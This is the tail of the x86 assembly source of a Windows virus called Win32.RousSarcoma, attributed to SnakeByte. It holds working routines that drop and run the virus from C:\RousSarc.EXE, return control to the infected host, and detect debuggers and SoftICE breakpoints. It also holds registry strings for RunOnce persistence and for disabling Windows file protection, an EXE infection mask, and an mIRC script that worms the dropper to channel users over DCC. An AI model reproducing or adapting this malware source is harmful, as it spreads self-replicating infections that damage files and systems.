[ebp+counter], 2000h je NotFoundApi1 ; if we checked more than 2000 API's we stop jmp SearchNextApi1 ; check next FoundApi1: pop esi movzx eax, word ptr [ebp+counter] shl eax, 1h ; get right entry add eax, dword ptr [ebp+OTableVA] xor esi, esi ; clear esi --> eax xchg eax, esi lodsw shl eax, 2h add eax, dword ptr [ebp+ATableVA] mov esi, eax ; get RVA lodsd ; eax = Adress RVA add eax, [ebp+MZAddy] ret ; API offset in eax NotFoundApi1: xor eax, eax ; we failed :( ret ; *************************************************************************** ; ----------------------[ Let's drop the virus to a file ]------------------- ; *************************************************************************** DropIT: push 0 push 080h ; normal push 1 ; new file push 0 push 0 push 40000000h ; write access lea eax, [ebp+HiddenFile] push eax call dword ptr [ebp+YCreateFileA] xchg eax, ebx ; Handle in ebx mov esi, ebp add esi, ImageBase + Gap1 ; uninitialised data once again ;) push 0 ; overlapped lea ecx, [ebp+Write] ; written bytes push ecx push VirusSize ; Lenght push esi ; Start of Data push ebx ; File Handle Call dword ptr [ebp+YWriteFile] push ebx call dword ptr [ebp+YCloseHandle] xor eax, eax ; let's execute the virus lea esi, [ebp+ProcessInformation] push esi lea esi, [ebp+StartupInfo] push esi push eax ; lpCurrentDirectory push eax ; lpEnvironment push eax ; Create_New_Process_Group & Normal_Priority_Class push eax ; bInheritHandles push eax ; lpThreadAttributes push eax ; lpProcessAttributes lea esi, [ebp+HiddenFile] push esi ; filename with commandline push eax ; command line call dword ptr [XCreateProcessA] ; *************************************************************************** ; -----------------------[ open original program ]--------------------------- ; *************************************************************************** ExecuteHost: mov eax,12345678h ; get back to old Imagebase+EIP org $-4 retEIP dd 0h add eax,12345678h org $-4 retBas dd 0h jmp eax OldEIP dd 0h OldBase dd 0h NewEIP dd 0h ; *************************************************************************** ; --------------[ use GetProcAddress to retrieve API's ]--------------------- ; *************************************************************************** ; this procedure is used in both parts of the virus ! ; esi point to the names ; edi to the place where we save the offsets ; ebx contains module handle ; ecx got the number of api's GetAPI3: push ecx ; save number push esi ; push Api-name push ebx ; push Module-Handle ; call GetProcAddress cmp ebp, 'VA-A' ; if we are in the exe-part, we can call je API3b ; the api directly pushad ; check for int 1h tracing push eax ; int 1h tracing destroys the stack, so we will see pop eax ; if it is destroyed sub esp, 4d pop ecx cmp eax, ecx jne EndApi3 popad API3a: ; otherwise we need the one found in the kernel call dword ptr [ebp+XGetProcAddress] jmp API3c API3b: call GetProcAddress API3c: stosd ; save offset pushad cmp eax, 0 ; Lets do a check for Softice Breakpoints je NoSICheck cmp byte ptr [eax], 0CCh ; check for the breakpoint je EndApi3 ; due to the pushad, we will ret somewhere strange ;) NoSICheck: popad pop ecx dec ecx jz EndApi3 push ecx ; point to next name SearchZero: cmp byte ptr [esi], 0h je GotZero inc esi jmp SearchZero GotZero: inc esi pop ecx jmp GetAPI3 ; get next api EndApi3: ret ; ########################################################################### ; ----------------------[ Third Part - The Data ]---------------------------- ; ########################################################################### ; *************************************************************************** ; ---------------------[ Data of the second part ]--------------------------- ; *************************************************************************** NumberOf2Kernel32APIS equ 4 Kernel32Names2: db 'CreateFileA', 0 db 'CloseHandle', 0 db 'WriteFile',0 db 'CreateProcessA',0 HiddenFile db 'C:\RousSarc.EXE',0 ; Rous Sarkoma is a well known Retro Virus KERNEL32 db 'kernel32.dll',0 ; kernel32.dll .. :) ; *************************************************************************** ; ---------------------------[ Some Data ]----------------------------------- ; *************************************************************************** VirusEnd: K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's XGetProcAddress dd (?) ; API's we need for the second part YCreateFileA dd (?) YCloseHandle dd (?) YWriteFile dd (?) YCreateProcessA dd (?) StartofVirusinFile dd 0h Write dd 0h ; Daten für die Kernel-Suche KernelAddy dd (?) ; PE-Header MZAddy dd (?) ; MZ-Header counter dw (?) ; Wie viele Namen haben wir getestet ATableVA dd (?) ; Address Table VA NTableVA dd (?) ; Name Pointer Table VA OTableVA dd (?) ; Name Pointer Table VA ; *************************************************************************** ; --------------------[ Initialized First Part Data ]------------------------ ; *************************************************************************** .DATA CopyRight db 'Win32.RousSarcoma by SnakeByte',0 _2kProt db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 _2kProtValue db 'SfcDisable',0 RunOnceName db '\RousSarc.EXE',0 RunOnceKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0 filemask db '*.EXE', 0 ; get exe-files ; Data for mIRC Worming MIRCscript db '[script]',13d,10d db 'n0=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d db 'n1= else .timer 1 30 .dcc send $nick C:\RousSarc.EXE }', 13d,10d db 'n2=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\RousSarc.EXE }', 13d,10d EndScript: mircINI db 'mirc.ini',0 MIRCrfiles db 'rfiles',0 ;what to patch MOffset db 'n2',0 MIRCprot db 'RousSarc.ini',0 ; Names of the API's we need Kernel32Names: NumberOfKernel32APIS equ 21d db 'FindFirstFileA', 0 db 'FindNextFileA', 0 db 'FindClose', 0 db 'CreateFileA', 0 db 'CloseHandle', 0 db 'CreateFileMappingA', 0 db 'MapViewOfFile', 0 db 'UnmapViewOfFile', 0 db 'GetCommandLineA',0 db 'ReadFile',0 db 'CreateProcessA',0 db 'GetSystemDirectoryA',0 db 'CopyFileA',0 db 'GetCurrentProcessId',0 db 'RegisterServiceProcess',0 db 'GetCurrentDirectoryA',0 db 'SetCurrentDirectoryA',0 db 'GetWindowsDirectoryA',0 db 'GetFullPathNameA',0 db 'WritePrivateProfileStringA',0 db 'WriteFile',0 advname db 'advapi32',0 AdvapiNames: NumberOfAdvapiAPIS equ 6 db 'RegOpenKeyExA',0 db 'RegQueryValueExA',0 db 'RegCloseKey',0 db 'RegSetValueExA',0 db 'RegCreateKeyExA',0 db 'RegEnumKeyA',0 StartupInfo: db 64d db 63d dup (0) ProcessInformation: hProcess dd 0h hThread dd 0h dwProcessId dd 0h dwThreadId dd 0h ; *************************************************************************** ; -------------------[ Uninitialized First Part Data ]----------------------- ; *************************************************************************** .DATA? ; API's we need for first Part XFindFirstFileA dd ? XFindNextFileA dd ? XFindClose dd ? XCreateFileA dd ? XCloseHandle dd ? XCreateFileMappingA dd ? XMapViewOfFile dd ? XUnmapViewOfFile dd ? XGetCommandLineA dd ? XReadFile dd ? XCreateProcessA dd ? XGetSystemDirectoryA dd ? XCopyFileA dd ? XGetCurrentProcessId dd ? XRegisterServiceProcess dd ? XGetCurrentDirectoryA dd ? XSetCurrentDirectoryA dd ? XGetWindowsDirectoryA dd ? XGetFullPathNameA dd ? XWritePrivateProfileStringA dd ? XWriteFile dd ? ; API's we need to edit the Registry XRegOpenKeyExA dd ? XRegQueryValueExA dd ? XRegCloseKey dd ? XRegSetValueExA dd ? XRegCreateKeyExA dd ? XRegEnumKeyA dd ? ADVHandle dd ? ; Handle of ADVAPI32.dll NewSize dd ? ; New Filesize CmdLine dd ? ; Commandline ; Struktur for FindFirstFile / Next FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS ; data for FindFirstFile / Next API WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) FileHandle dd ? ; Filehandle MapHandle dd ? ; Handle of the Map MapAddress dd ? ; Offset of the Map Handle dd ? Dispostiton dd ? ; dispostition when creating a reg key RegHandle dd ? ; handle of an opened registry key RegData1 dd ? ; Bytes read InfCounter db ? ; Counter FindHandle dd ? ; Handle for FindFirstFile API FileBuffer db VirusSize dup (?) ; We temporarily save the name of a possible AV ; to check if it is one NameBuffer db 255d dup (?) CurrentPath db 255d dup (?) ; *************************************************************************** ; ------------------------[ That's all, go home ]---------------------------- ; *************************************************************************** end Virus